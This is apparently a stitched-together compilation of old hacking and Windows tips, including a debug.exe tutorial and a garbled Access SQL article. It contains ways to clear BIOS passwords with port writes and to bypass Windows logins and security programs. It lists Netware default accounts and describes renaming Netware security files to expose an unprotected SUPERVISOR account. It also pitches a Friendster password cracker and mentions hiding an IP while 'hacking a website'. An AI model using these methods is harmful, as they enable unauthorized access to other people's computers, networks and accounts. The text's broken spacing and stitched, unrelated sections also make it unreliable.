Delete an "UNDELETABLE" File

Open a Command Prompt window and leave it open.
Close all open programs.
Click Start, Run and enter TASKMGR.EXE
Go to the Processes tab and End Process on Explorer.exe.
Leave Task Manager open.
Go back to the Command Prompt window and change to the directory
the AVI (or other undeletable file) is located in.
At the command prompt type DEL where is
the file you wish to delete.
Go back to Task Manager, click File,
New Task and enter EXPLORER.EXE to restart the GUI shell.
Close Task Manager.


Or you can try this

Open Notepad.exe

Click File>Save As..>

locate the folder where ur undeletable file is

Choose 'All files' from the file type box

click once on the file u wanna delete so its name appears in the 'filename' box

put a " at the start and end of the filename
(the filename should have the extension of the undeletable file so it will overwrite it)

click save,

It should ask u to overwrite the existing file, choose yes and u can delete it as normal


Here's a manual way of doing it.


1. Start

2. Run

3. Type: command

4. To move into a directory type: cd c:\*** (The stars stand for your folder)

5. If you cannot access the folder because it has spaces for example Program Files or

Kazaa Lite folder you have to do the following. instead of typing in the full folder name only take
the first 6 letters then put a ~ and then 1 without spaces.
Example: cd c:\progra~1\kazaal~1

6. Once your in the folder the non-deletable file it in type in dir - a list will come up with everything inside.

7. Now to delete the file type in del ***.bmp, txt, jpg, avi, etc...
And if the file name has spaces you would use the special 1st 6 letters followed by a ~ and a 1 rule.
Example: if your file name was bad file.bmp you would type once in the specific folder thorugh command,
del badfil~1.bmp and your file should be gone. Make sure to type in the correct extension...†

Creating a Huge File for nothing

You can create a file of any size using nothing more than what's supplied with Windows.
Start by converting the desired file size into hexadecimal notation.
You can use the Windows Calculator in Scientific mode do to this.
Suppose you want a file of 1 million bytes. Enter 1000000 in the calculator and click on the Hex option to convert it (1 million in hex is F4240.)
Pad the result with zeroes at the left until the file size reaches eight digits—000F4240.

Now open a command prompt window.
In Windows 95, 98, or Me, you can do this by entering "COMMAND" in the Start menu's Run dialog;
in Windows NT 4.0, 2000, or XP enter "CMD" instead.
Enter the command "DEBUG BIGFILE.DAT" and ignore the File not found message.
Type "RCX" and press Enter. Debug will display a colon prompt.
Enter the last four digits of the hexadecimal number you calculated (4240, in our example).
Type "RBX" and press Enter, then enter the first four digits of the hexadecimal size (000F, in our example).
Enter "W" for Write and "Q" for Quit. You've just created a 1-million-byte file using Debug.
Of course you can create a file of any desired size using the same technique.

How to crack windows, programs ect manually

Debug is a program that comes with modern versions of DOS (I do not know when I started shipping out with DOS). Anyway, all Windows users should have it already.
It's a great tool for debugging programs, unassembling and cracking, and reading "hidden" memory areas like the boot sector, and much more.
The following was copied from an assembly tutorial who's author we cannot credit, because we have no idea who he is.

Get into DOS and type "debug", you will get a prompt like this:
-

now type "?", you should get the following response:
assemble A [address]
compare C range address
dump D [range]
enter E address [list]
fill F range list
go G [=address] [addresses]
hex H value1 value2
input I port
load L [address] [drive] [firstsector] [number]
move M range address
name N [pathname] [arglist]
output O port byte
proceed P [=address] [number]
quit Q
register R [register]
search S range list
trace T [=address] [value]
unassemble U [range]
write W [address] [drive] [firstsector] [number]
allocate expanded memory XA [#pages]
deallocate expanded memory XD [handle]
map expanded memory pages XM [Lpage] [Ppage] [handle]
display expanded memory status XS

Lets go through each of these commands:
Assemble:

-a
107A:0100

At this point you can start assembling some programs, just like using a assembler.
However the debug assembler is very limited as you will probably notice. Lets try to enter a simple program:

-a
107A:0100 MOV AH,02
107A:0102 MOV DL,41
107A:0104 INT 21
107A:0106 INT 20
-g
A

Program terminated normally

That's the same program we did at the end of the previous chapter. Notice how you run the program you just entered with "g",
and also notice how the set-up part is not there? That's because debug is just too limited to support that.
Another thing you can do with assemble is specify the address at which you want to start,
by default this is 0100 since that's where all .COM files start.
Compare:

Compare takes 2 block of memory and displays them side by side, byte for byte. Lets do an example.
Quite out of debug if you haven't already using "q". Now type "debug c:\command.com"

-c 0100 l 8 0200
10A3:0100 7A 06 10A3:0200

This command compared offset 0100 with 0200 for a length of 8 bytes. Debug responded with the location that was DIFFERENT.
If 2 locations were the same, debug would just omit them,
if all are the same debug would simply return to the prompt without any response.
Dump:

Dump will dump a specified memory segment. To test it, code that assembly program again:

C:\>debug
-a
107A:0100 MOV AH,02
107A:0102 MOV DL,41
107A:0104 INT 21
107A:0106 INT 20
-d 0100 l 8
107A:0100 B4 02 B2 41 CD 21 CD 20
...A.!.

The "B4 02 B2 41 CD 21 CD 20" is the program you just made in machine language.

B4 02 = MOV AH,02
B2 41 = MOV DL,41
CD 21 = INT 21
CD 20 = INT 20

The "...A.!." part is your program in ASCII. The "." represent non-printable characters. Notice the A in there.
Enter:

This is one of the hard commands. With it you can enter/change certain memory areas.
Lets change our program so that it prints a B instead of an A.
-e 0103 <-- edit program at segment 0103
107A:0103 41.42 <-- change 41 to 42
-g
B

Program terminated normally
-
Wasn't that amazing?
Fill:

This command is fairly useless, but who knows....
It fills the specified amount of memory with the specified data.
Lets for example clear out all memory from segment 0100 to 0108, which happens to be our program.
-f 0100 l 8 0 <-- file offset 0100 for a length of 8 bytes with 0
-d 0100 l 8 <-- verify that it worked
107A:0100 00 00 00 00 00 00 00 00 .......
Yep, it worked.
Go:

So far we used go (g) to start the program we just created.
But Go can be used for much more. For example, lets say we want to execute a program at 107B:0100:
-r CS <-- set the CS register to point to 107B
CS 107A
:107B
-g =100

You can also set breakpoints.
-a <-- enter our original program so we have something
107A:0100 MOV AH,02 to work with
107A:0102 MOV DL,41
107A:0104 INT 21
107A:0106 INT 20
-g 102 <-- set up a break point at 107A:0102

At this point the program will stop, display all registers and the current instruction.
Hex:

This can be very useful. It subtracts and adds two hexadecimal values:
-h 2 1
0003 0001 <-- 2h + 1+ = 3h and 2h - 1h = 1h

This is very useful for calculating a programs length, as you will see later.
Input:

This is one of the more advanced commands, and I decided not to talk about it too much for now.. phew*.
It will read a byte of data from any of your computers I/O ports (keyboard, mouse, printer, etc).

-i 3FD
60
-

Your data may be different.
In case you want to know, 3FD is Com port 1, also known as First Asynchronous Adapter.
Load:

This command has 2 formats. It can be used to load the filename specified with the name command (n), or it can load a specific sector.

-n c:\command.com
-l

This will load command.com into debug. When a valid program is loaded all registers will be set up and ready to execute the program.
The other method is a bit more complicated, but potential also more usefull. The syntax is

L

-l 100 2 10 20

This will load starting at offset 0100 from drive C (0 = A, 1 = B, 2 = C, etc), sector 10h for 20h sectors. This can be useful for recovering files you deleted.
Move:

Move takes a byte from the starting address and moves it to the destination address.
This is very good to temporary move data into a free area,
than manipulate it without having to worry about affecting the original program.
It is especially useful if used in conjunction with the r command to which I will get later. Lets try an example:
-a <-- enter our original program so we have something
107A:0100 MOV AH,02 to work with
107A:0102 MOV DL,41
107A:0104 INT 21
107A:0106 INT 20
-m 107A:0100 L 8 107B:0100 <-- more 8 bytes starting from 107A:0100 into 107B:0100
-e 107B:0103 <-- edit 107B:0103
107B:0103 41.42 <-- and change it 42 (
-d 107A:0100 L 8 <-- make sure it worked
107A:0100 B4 02 B2 41 CD 21 CD 20 ...A.!.
-d 107B:0100 L 8
107A:0100 B4 02 B2 42 CD 21 CD 20 ...B.!.
-m 107B:0100 L 8 107A:0100 <-- restore the original program since we like the changes.
Name:

This will set debug up with a filename to use for I/O commands. You have to include the file extension, and you may use addition commands:

-n c:\command.com
Output:

Exactly what you think it is. Output sends stuff to an I/O port.
If you have an external modem with those cool lights on it, you can test this out.
Find out what port your modem is on and use the corresponding hex number below:

Com 1 = 3F8 - 3FF (3DF for mine)
Com 2 = 2F8 - 2FF
Com 3 = ??? - ??? (if someone knows, please let me know)

Now turn on the DTA (Data Terminal Ready) bit by sending 01h to it:
-o XXX 1 <-- XXX is the com port in hex

As soon as you hit enter, take a look at your modem, you should see a light light up.
You can have even more fun with the output command. Say someone put one of those BIOS passwords on "your" computer. Usually you'd have to take out the battery to get rid of it,
but not anymore:

MI/AWARD BIOS
-o 70 17
-o 71 17

QPHOENIX BIOS
-o 70 FF
-o 71 17

QGENERIC
-o 70 2E
-o 71 FF

These commands will clear the BIOS memory, thus disabling the password.
Proceed:

Proceeds in the execution of a program, usually used together withy Trace, which I will cover later. Like the go command, you can specify an address from which to start

using =address
-p 2

Debug will respond with the registers and the current command to be executed.
Quite:

This has got to be the most advanced feature of debug, it exits debug!

-q
Register:

This command can be used to display the current value of all registers,
or to manually set them. This is very useful for writing files as you will see later on.

-r AX
AX: 011B
:5
-
Search:

Another very useful command. It is used to find the occurrence of a specific byte,
or series of bytes in a segment. The data to search for can by either characters, or a hex value.
Hex values are entered with a space or comma in between them, and characters are enclosed with quotes (single or double).
You can also search for hex and characters with the same string:
-n c:\command.com <-- load command.com so we have some data to search in
-l
-s 0 l 0 "MS-DOS" <-- search entire memory block for "MS-DOS"
10A3:39E9 <-- found the string in 10A3:39E9

NOTE: the search is case sensitive!
Trace:

This is a truly great feature of debug.
It will trace through a program one instruction at a time, displaying the instruction and registers after each.
Like the go command you can specify where to start executing from, and for how long.
-a <-- yes, this thing again
107A:0100 MOV AH,02
107A:0102 MOV DL,41
107A:0104 INT 21
107A:0106 INT 20
-t =0100 8

If you leave out the amount of instructions that you want to trace, you can use the proceed (p) to continue the execution as long as you want.
Unassemble:

Unassembles a block of code. Great for debugging (and cracking)
-u 100 L 8 <-- unassembles 8 bytes starting at offset 100
107A:0100 MOV AH,02 <-- debut's response
107A:0102 MOV DL,41
107A:0104 INT 21
107A:0106 INT 20
Write:

This command works very similar to Load. It also has 2 ways it can operate: using name,
and by specifying an exact location. Refer to back to Load for more information.

NOTE: The register CX must be set the file size in order to write!
NOTE: Write will not write .EXE or .HEX files.[SIZE=7][SIZE=14]

How To: Change Your Ip In Less Then 1 Minute

Changing your IP:



1. Click on "Start" in the bottom left hand corner of screen
2. Click on "Run"
3. Type in "command" and hit ok

You should now be at an MSDOS prompt screen.

4. Type "ipconfig /release" just like that, and hit "enter"
5. Type "exit" and leave the prompt
6. Right-click on "Network Places" or "My Network Places" on your desktop.

7. Click on "properties"

You should now be on a screen with something titled "Local Area Connection", or something close to that, and, if you have a network hooked up, all of your other networks.

8. Right click on "Local Area Connection" and click "properties"
9. Double-click on the "Internet Protocol (TCP/IP)" from the list under the "General" tab
10. Click on "Use the following IP address" under the "General" tab
11. Create an IP address (It doesn't matter what it is. I just type 1 and 2 until i fill the area up).
12. Press "Tab" and it should automatically fill in the "Subnet Mask" section with default numbers.
13. Hit the "Ok" button here
14. Hit the "Ok" button again

You should now be back to the "Local Area Connection" screen.

15. Right-click back on "Local Area Connection" and go to properties again.
16. Go back to the "TCP/IP" settings
17. This time, select "Obtain an IP address automatically"
tongue.gif 18. Hit "Ok"
19. Hit "Ok" again
20. You now have a new IP address

With a little practice, you can easily get this process down to 15 seconds.

P.S:
This only changes your dynamic IP address, not your ISP/IP address. If you plan on hacking a website with this trick be extremely careful, because if they try a little, they can trace it back..†

Acess SQL

Mastering Access S Q L ( S t r u c t u re d
Query Language) can be a daunting
task even if you consider yourself
an Access expert. Part of the
p roblem is the absence of an Access-to-S Q L
i n t e rface. This limitation doesn’t have to slow
you down, however, if you know how to avoid
some of the more common coding mistakes. In
this article, we’ll show you how to use the query
design grid to create SQL statements and then
how to run the statements in the Immediate
window to debug them.
You might be wondering why you should
bother to learn SQL at all. One reason is that
almost any bound object will accept a S Q L
statement as its data source. Consequently, you
can often replace a fixed query with a simple
SQL statement. In addition, some queries simply
can’t be replicated in the query design grid.
Only a SQL statement can implement a Union
query, for instance. Once you’re familiar with
SQL, you’ll find many convenient uses for it.
BUILD A SQL STATEMENT IN THE QUERY
DESIGN GRID
SQL statements can be extremely long and, as
such, prone to logic errors and typos, so let
Access do as much of the work for you as possible.
Fortunately, you can create most basic
statements in the query design grid. Access
p roduces an equivalent SQL statement for every
query, and you can use this behaviour to your
advantage. To build a SQL statement in the
query design grid, begin as you would with
any normal query by choosing a data sourc e
(table or query), clicking on the New Object
button in the Database toolbar and selecting
Query. (In Access 97, you would select the
Queries tab and click the New button.)
Once you have a data source and have
opened the query design grid, drag fields fro m
the field list to the grid, build relationships, add
criteria and specify sort orders. Along the way,
feel free to view the results of the query by
clicking the View button and choosing
Datasheet Vi e w .
When you’ve gone as far as you can using the
grid – you may not be able to create the complete
statement – click the View button and
choose SQL View and Access will display the
query’s equivalent sql statement. Finally, highlight
the statement and copy it to a module.
In many cases, the resulting statement will
need some fine tuning. Unless you’re very adept
at writing SQL statements, though, you’ll pro bably
find this quick-start method preferable to
writing the entire statement from scratch.
DEBUG A SQL STATEMENT IN THE QUERY
DESIGN GRID
If you make any changes to a SQL s t a t e m e n t
after copying it from the design grid to a module,
chances are the statement won’t run correctly
the first time. Unfortunately, VBA e r ro r
messages aren’t very helpful in this context.
On the other hand, the query design grid is
almost always helpful and informative. If you
can’t quickly figure out the problem, copy the
SQL statement from the module to the query
design grid and run the statement there. The
same error will occur, but the query design
grid’s error message will be more specific and
will usually help you pinpoint the mistake.
If you’d like to try this yourself, here’s a short
list of instructions that will help you through the
p ro c e s s :
1 . Highlight the SQL statement in the module.
Don’t include the quotation marks at the beginning or the end of the statement or the V B A
method (Run SQL or Execute) you’re using to
run the SQL s t a t e m e n t .
2 . P ress Ctrl-C or, alternatively, choose Copy
f rom the Edit menu.
3 . Access the Database window (press F11 to
re s t o re the window if it’s minimised).
4 . Choose Query from the Object bar and then
click New in the Database window toolbar.
(Access 97 users should click the Queries tab
and then click the New button in the Database
w i n d o w . )
5 . In the resulting new query dialog, double
click Design Vi e w .
6 . When Access opens the query design grid,
close the Show Table dialog without selecting
a data sourc e .
7 . Click the View button in order to open the
SQL w i n d o w .
8 . P ress Ctrl-V or choose Paste from the Edit
menu in order to copy the SQL statement to
the SQL w i n d o w .
9 . Replace any variables with the appro p r i a t e
object names.
1 0 . Select Query | Run from the Access menu
bar (or click Run on the Query Design toolb
a r. )
In step 9, we note that you must replace variables
with the actual object names they re p resent.
For example, the statement:
SELECT * FROM " & strTable & "
would re t u rn an error if you tried to run it as is
in the query design grid. You must replace the
variable strTable with an actual table or query
name. Let’s suppose you’re working with a
table named tblMyTable. You’d replace the “ &
s t r Table & “ section of your statement with the
table’s name as follows:
SELECT * FROM tblMyTable
After replacing all the variables with actual
object names, run the statement by clicking the
Run button on the Query Design toolbar. If the
grid evaluates the statement without re t u rn i n g
an erro r, you can assume your problem was
with the variables. If not, most likely there’s a
simple problem with the delimiting characters
( which we’ll discuss in the next section).
When variables aren’t the problem, Access
will almost always display a more comprehensive
error message than you received fro m
vba. For instance, if your statement contains a
syntax erro r, Access usually indicates the
o ffending section – significantly narro w i n g
your search. At this point, you should be able
to spot your mistake and make the necessary
c h a n g e s .
Keep working with the statement until you
receive no errors, then copy the corrected statement
back to the module and re s t o re any variables
you replaced in step 9. Or make the necessary
corrections to the statement in the module
(as long as the concatenated variables
w e ren’t part of the original pro b l e m ) .
AVOID CONCAT E N ATION ERRO R S
Using the query design grid to track down pro blems
in SQL statements is a great trick, but
replacing the variables first can be a pain. Yo u
can easily make a mistake in the process and
not know it, further complicating your debugging
task.
You can avoid the variable problem by
adding a few extra lines of code to your V B A
p ro c e d u re. The additional code will print an
evaluated SQL statement in the Immediate window.
By evaluated, we mean that VBA w i l l
replace all of the variables with the appro p r iate
object names. Copying the evaluated version
from the Immediate window to the query
design grid relieves you of the aggravating task
of replacing the variables and completely eliminates
the possibility of introducing typos (and
hence additional errors) into your statement.
The code that follows shows an example of
this easy trick:
strCriteria = " = 'Smith'"
strSQL = "SELECT * INTO tblNewTable FROM
tblOldTable WHERE " & "tblOldTable
.LastName" & strCriteria & ";"
Debug.Print strSQL
The first two lines assign the search criteria
and the basic SQL statement to the string variables
strCriteria and strSQL. The Debug.Print
statement then prints the evaluated statement
to the Immediate window. If the statement
re t u rns an erro r, open the Immediate window
(by pressing Ctrl-G or clicking the Code button,
depending on what window is active). Now
copy the evaluated version
SELECT* INTOtblNewTableFROMtblOldTable
WHERE tblOldTable.LastName = 'Smith';
to the query design grid (instead of copying
the original statement from the VBA m o d u l e )
and run it there. Notice that the evaluated version includes the actual name of the data sourc e
and the criteria string, not the variables shown
in the code listing above.
Not only is this solution easier, but you avoid
i n t roducing typos. Don’t wait until you have a
p roblem with a SQL statement, though; get in
the habit of adding this functionality to your
code so it’s available when you need it.
QUICK RESULTS WITH THE QUERY BUILDER
Access SQL isn’t limited to queries and V B A
modules; controls often use a SQL s t a t e m e n t
instead of a saved query as the Row Sourc e
p roperty. Fortunately, you don’t have to cre a t e
the appropriate statement from scratch; you
can use the SQL statement query builder. (We ’ l l
show you how to access this builder in just a
minute.) In the open builder, you’ll choose
fields and express criteria in the query design
grid, just as you would in a normal query. The
builder then converts your work into a S Q L
statement. You don’t actually have to know
SQL at all.
Let’s take a look at an example. Open in
Design View any form that contains a combo
or list box, or open a blank form and add a
combo or list box. Double click the combo or
list box to open its property sheet, and click the
Build button that appears when you select the
Row Source property field. This launches the
SQL statement query builder, which is a simple
query design grid. Modify the grid as you
would a query. (If you’re working with an
existing control, the grid will display an equivalent
sql statement in the query design grid.)
F i g u re 1 shows a simple expression that will
display a list of concatenated fields – FirstName
and LastName. In other words, the combo or
list control will display a list of names.
You can view this query’s SQL statement, shown in Figu
re 2, by choosing SQL View from the Vi e w
button at the far left of the toolbar. You can
also see the results of the query by choosing
Datasheet Vi e w .
As you can see, this builder is flexible – you
can view three diff e rent forms of the same
query. You can bounce back and forth between
the builder, the SQL statement, and the re s u l t s
until you get the statement just right, at which
time you simply close the builder and save
your changes when prompted. The control will
update accord i n g l y .
SQL can be difficult to work with; even the
experts occasionally fret over a statement. Fortunately,
Access offers a number of tools to
make the task easier. The query design grid
gives you an easier way to create SQL s t a t ements
than trying to create them from scratch.
In addition, you can debug statements by copying
evaluated statements from the Immediate
window to the query design grid.

HOW TO MAKE A YAHOO MESSENGER MULTIPLE ACCOUNTS

Hey hey hey...


This one is a little so simple thing..

just explore your YAHOO MESSENGER function....

you may create a multiple account in just one account...



Make sure you have a yahoo messenger, or you may download it here..

(take note that our yahoo messenger in this link site is the advance one) you may see if your
friend/s is invisible...


here it goes...


LOG-IN into your YAHOO MESSENGER ACCOUNT, once you're login, click

MESSENGER --> MY PROFILES
in MY PROFILES, choose edit/create profile.

and you can create profile as much as you want...

wahahaha...

Friendster Auto-Password Finder

Hey, I've created a java code for faster and accurate

friendster hacking. all you have to do is to modify this

and compile.

why i need to modify? = because, you need to enter

a valid username and password at its value key.

its your bridge to make a way across a river..~.~"


CLICK ME TO FUCK


(download the filename fuck.txt)


Enjoy....XD

PC HACKING

PC HACKING




I would like to note that few of these tricks are new. I

simply rounded up everything that I could find and

what I could glean from personal experience into an

organized file.



If you have any questions or comments, feel free to fuck me...


If you have any question, look for the answer...


for assistance, mail me @ peter2dmax@yahoo.com

----------------------------------------------------------------



1. Hardware and Firmware



1a. The BIOS



Passwords

=========

The BIOS, short for Basic Input/Output Services, is the control

program of the PC. It is responsible for starting up your computer,

transferring control of the system to your operating system, and

for handling other low-level functions, such as disk access.



NOTE that the BIOS is not a software program, insofar as it is

not purged from memory when you turn off the computer. It's

firmware, only it is permanently and unchangeably stored in

the machine.



A convenient little feature that most BIOS manufacturers include

is a startup password. This prevents access to the system until

you enter the correct password.



If you can get access to the system after the password has been

entered, then there are numerous software-based BIOS password

extractors available from:



ftp://oak.oakland.edu/simtel/msdos/sysutil/amis2990.zip





Resetting the CMOS

==================

There is only one other way to get past the BIOS password.

It involves discharging the static memory (CMOS) used to store the

password and other system information. Once it is discharged,

however, you have to reset all the system settings by hand.



****Follow these steps:



1. Start up the computer

a. If the system allows it, enter the Setup Screen

(Usually by pressing F1, DEL or INS during

the memory check)

b. Record all the Setup Information. Double Check.

4. Turn off the computer

5. Remove the casing, and put the computer on the ground in

such a way that you can see and access the side of

the motherboard with the processor on it.

6. Look at the motherboard.

a. If you can see a round, disc-like battery, then

remove it, and let the computer sit without

the battery for 15-30 minutes. Put the battery

back in.

b. If you have access to the circuit diagrams for the

motherboard, look in them for the password or

CMOS jumper. Flip it on and off.

c. Look for a blue, soldered-in battery with a jumper

running off of it. This jumper is for connecting

an external battery. Pull it out to reset the

CMOS.

9. Replace the computer casing.

10. Enter the Setup Screen, and set the Setup Information

back to the original values that you (hopefully)

recorded. If you were unable to record this info,

then you'll just have to set it up manually.

[NOTE: Some newer Plug & Play BIOSes have an

autodetect feature that automatically sets-up the

hard disk. Look around in the menu items in the

BIOS setup.]



Again, I would like to mention that there are numerous password

extractors available for free off the internet and on BBSes. Try those

first. They are much cleaner and easier-to-use.



----------------------------------------------------------------



1b. Floppy Locks



Floppy Locks are generally cheap plastic inserts that hook on

to the inside of the drive and lock it, thereby preventing you from

using the floppy drive. The locks used are usually those little

swivel locks used in computer casings to lock the keyboard.



If the lock is the swivel type, you can either pick it, or

buy a key (they're all the same).



To pick it, you'll need a *thin* flathead screwdriver

or a paperclip. To pick the lock, take the paperclip and insert it

into the little notch on the inside of the swivel lock. Now, pull to

the opposite side of the lock until the swivel is in the unlocked

position.



If you choose to buy a key, you can:



A. Go to your local computer service center, and buy

one of these keys. (Very cheap. Often less than

P20.00)

B. Buy the same brand of floppy lock, and use the key

that comes with it.



----------------------------------------------------------------



1c. Last Resorts



If you are *REALLY* desperate to break-in to this PC, then

the following *might* work:



1. Remove the PC Casing

2. Extract the hard disk (By unscrewing and disconnecting)

3. Transfer it to another computer. (Make sure that it is

NOT set as the boot drive.)

4. Start up this computer, and access the

hard disk from there.



This will probably not work if an encrypted file system is in

use. The only way to access such disks is to enter the password,

or figure out a way to decrypt it, so if you forget your password,

you're hosed. :(



----------------------------------------------------------------



2. DOS, Windows, and Netware



2a. Getting access to DOS



With some systems, they are set up to boot directly to some sort

of shell/security program, like Windows, or Windows 95. If you

want to get access to a DOS prompt, you have some choices:



A. Boot from a floppy disk

B. Bypass startup files

C. Bypassing DriveSpace

D. Break out of Autoexec.bat



***Booting from a floppy requires you to create a system disk.

You can do this using the DOS command FORMAT /S which will

format a disk and place system files on it. Also, the Windows

format has an option allowing you to create a system floppy.



Before you create a system disk, you must determine which

floppy drive is used to boot. If the system has both a

1.2MB (5.25") Floppy Drive and a 1.44MB (3.5") Drive, it is likely

that the boot drive is the 1.2 MB floppy drive. If the computer

has only one floppy drive, it is quite safe to assume that it is

the boot drive.



However, if you are unsure as to which drive is the boot drive,

you can either find out by entering System Setup (as described

in section 1) or by observing which floppy drive is read right

before the operating system loads.



If the system is set to boot only from the hard disk, then you

can refer to Section 1 on how to reset the CMOS.



Once you have a system disk, you place it in the floppy drive,

and turn on or reset the computer. If you have done everything

right, the computer will boot from the floppy drive and you will

have access to a DOS prompt.



***Bypassing startup files is quite simple, but only works on

versions of DOS 6.0 or better and Windows 95. When you turn on

the computer and you see the text:



Starting MS-DOS ...



or

Starting PC-DOS ...



or

Starting Windows 95 ...



Press and hold the SHIFT or F5 key IMMEDIATELY. This will bypass

the startup files (CONFIG.SYS and AUTOEXEC.BAT) as long as the

system administrator has not disabled this feature.



Additionally, you can press and hold F8 when the startup

text shows to enter the Boot menu. This lets you selectively

disable certain commands, or bypass the startup files totally,

among other things.



***Bypassing DriveSpace works if compression software such as

DriveSpace or DoubleSpace has been installed. If so, when

the startup text displays, press and hold Ctrl+F5 or Ctrl+F8.

This will load the system without loading the compression

driver, which means you can't access the files on disk.



HOWEVER, you can decompress the disk (DriveSpace only), or,

if all else fails, format it.



***Breaking out of AUTOEXEC.BAT is rather simple also. When the

computer starts up and the operating system starts loading, press

Ctrl+Break (Or Ctrl+C) repeatedly. When the AUTOEXEC.BAT executes,

this will terminate it and drop you to DOS. This will work unless

the System administrator temporarily disabled the keyboard.



----------------------------------------------------------------



2b. Getting to DOS from Windows



If the above tactics fail, and the machine automatically loads

Windows, then you still have a chance of getting to DOS. Windows

by default gives you free access to DOS. There are special security

programs to prevent the user from accessing DOS. Most of these

can be bypassed.



Screen Savers

=============

The password protection built-in to Windows 3.1 is extremely weak.

You can bypass it by simply editing CONTROL.INI and searching for

the Password field. Delete the junk that appears after the equal

sign.



The password protection in Windows 95 is much stronger, but you can

still bypass it by *carefully* moving or renaming all .PWL files

in the C:\Windows directory.



Password Protection

===================



Q: Windows starts up, and you are presented with yet another

password dialog box. What do I do?



A:

**If this is the Primary Windows Logon or a Network logon, then you

can usually get past it by pressing the Cancel button (No Joke!).

This is because the Logon information is used primarily for desktop

preferences and remote file sharing.



**If this is a third-party security program, such as the one built-in

to After Dark, try pressing Ctrl+Alt+Del when the dialog is

presented to you. Most security programs go out of their way to

be secure, and Windows 3.1 interprets this as not responding to

the system, and thus will allow you close it. Windows 95 pops up

a neat little dialog box that lets you terminate any running

application. How convenient. :) Once you subvert this, you can

prevent it from bothering you again by editing the LOAD= and

RUN= sections in C:\WINDOWS\WIN.INI.



Q: Windows starts up, and program manager loads, but the File menu

is disabled, and so is DOS and File Manager. How can I access

DOS???



A: There are many Security programs for Windows (3.1 *AND* 95) that

do this, and other things. There are a few ways around them:



**Try this first:



DOS through Write

=================

1. Go into Accessories, and start up Write (or Wordpad)

NOT, I REPEAT NOT, NOTEPAD!!

2. Open C:\COMMAND.COM

3. A little dialog box will pop up. Select NO CONVERSION

4. Select Save As...

5. Save it as C:\WINDOWS\WINHELP.EXE

6. If it asks if you want to overwrite WINHELP.EXE, choose

YES

7. Press F1. Normally, this loads Windows Help, but now it

will create a DOS prompt window.



**Try this next:



DOS through Word

================

1. If they have Microsoft Word installed, start it up.

2. From the Tools Menu, select Macro.

3. Type in a Macro name, and click "Create"

4. When the Macro window comes up, type in one of the

following depending on which Windows you are using:



For Windows 3.1: Shell Environ$("COMSPEC")

For Windows 95: Shell Environ$("COMMAND")

For Windows NT: Shell Environ$("CMD")



If all else fails: Shell "C:\COMMAND.COM"



5. Run the macro by pressing the little play button on the

macro toolbar. This will launch a DOS prompt.



**If you're using Windows 95, try this:



DOS through MODE

================

When Windows 95 Shuts Down and shows that dumb graphic, it's

really just sitting on top of DOS. You can actually issue DOS

commands (although the graphic will cover them) on the system

after shutdown!!



A simple way to do this is to type:



CLS



After the graphic shows. However, the text will be in 40-column

mode, which is hard to read, and incompatible with some programs.



If you want to get a nice, clean DOS prompt, you can type:



MODE CO80



This will reset the screen display to normal (80-column,

16 color) mode.



Since *MOST* Windows Security programs are based on a VxD, they

will be unloaded (along with Windows) after shutdown, leaving

you free to explore using DOS.



----------------------------------------------------------------



2c. Getting past NetWare



This section is based on excerpts from the Netware Hacking FAQ.



Common Account Names

====================

Novell Netware has the following default accounts: SUPERVISOR, GUEST,

and Netware 4.x has ADMIN and USER_TEMPLATE as well. All of these have

no password set. Only a dummy would leave the SUPERVISOR and ADMIN

accounts unprotected, so you might as well not try. However, many

administrators will create special-purpose accounts that have

easy-to-guess names, some with no password at all. Here are a few of

the common ones and their typical purposes:



Account Purpose

------- ---------------------------------------------------

POST Attaching to a second server for email

MAIL



PRINT Attaching to a second server for printing

LASER

HPLASER

PRINTER

LASERWRITER



ROUTER Attaching an email router to the server



BACKUP May have password/station restrictions (see below),

WANGTEK used for backing up the server to a tape unit

attached to the workstation. For complete backups,

Supervisor equivalence is required.



TEST A test user account for temp use



ARCHIVIST Palindrome default account for backup



CHEY_ARCHSVR An account for Arcserve to login to the server from

from the console for tape backup. Version 5.01g's

password was WONDERLAND.



GATEWAY Attaching a gateway machine to the server

GATE



FAX Attaching a dedicated fax modem unit to the network

FAXUSER

FAXWORKS



WINDOWS_PASSTHRU Although not required, per the Microsoft Win95

Resource Kit, Ch. 9 pg. 292 and Ch. 11 pg. 401 you

need this for resource sharing without a password.







Resetting Netware

=================

When NetWare is first installed, the account SUPERVISOR and GUEST

are left unprotected, that is, with no password. SUPERVISOR has

free run of the system. You can do anything you want.



But how can you make the server think it has just been installed

without actually reinstalling the server and losing all data on

the disk? Simple. You just delete the files that contain the

security system!



In Netware 2.x, all security information is stored in two files

(NET$BIND.SYS and NET$BVAL.SYS). Netware 3.x stores that information

in three files (NET$OBJ.SYS, NET$VAL.SYS and NET$PROP.SYS). The all

new Netware 4.x system stores all login names and passwords in five

different files (PARTITIO.NDS, BLOCK.NDS, ENTRY.NDS, VALUE.NDS

and UNINSTAL.NDS [This last file may not be there, don't worry]).



Although Novell did a very good job encrypting passwords, they let all

directory information easy to find and change if you can access the

server's disk directly, using common utilities like Norton's Disk Edit.



Using this utility as an example, I'll give a step-by-step procedure

to make these files vanish. All you need is a bootable DOS disk,

Norton Utilities' Emergency Disk containing the DiskEdit program and

some time near the server.



1. Boot the server and go to the DOS prompt. To do this, just let the

network boot normally and then use the DOWN and EXIT commands. This

procedure does not work on old Netware 2.x servers and in some

installations where DOS has been removed from memory. In those cases,

you'll have to use a DOS bootable disk.



2. Run Norton's DiskEdit utility from drive A:



3. Select "Tools" in the main menu and then select "Configuration".

At the configuration window, uncheck the "Read-Only" checkbox. And

be very careful with everything you type after this point.



4. Select "Object" and then "Drive". At the window, select the C: drive

and make sure you check the button "physical drive". After that,

you'll be looking at your physical disk and you be able to see

(and change) everything on it.



5. Select "Tools" and then "Find". Here, you'll enter the name of the

file you are trying to find. Use "NET$BIND" for Netware 2,

"NET$PROP.SYS" for Netware 3 and "PARTITIO.NDS" for Netware 4. It is

possible that you find these strings in a place that is not the

Netware directory. If the file names are not all near each other and

proportionaly separated by some unreadable codes (at least 32 bytes

between them), then you it's not the place we are looking for. In

that case, you'll have to keep searching by selecting "Tools" and

then "Find again". [In Netware 3.x, you can change all occurences of

the bindery files and it should still work okay])



6. You found the directory and you are ready to change it. Instead of

deleting the files, you'll be renaming them. This will avoid problems

with the directory structure (like lost FAT chains). Just type "OLD"

over the existing "SYS" or "NDS" extension. Be extremely careful and

don't change anything else.



7. Select "Tools" and then "Find again". Since Netware store the

directory information in two different places, you have to find the

other copy and change it the same way. This will again prevent

directory structure problems.



8. Exit Norton Disk Edit and boot the server again. If you're running

Netware 2 or 3, your server would be already accessible. Just go to

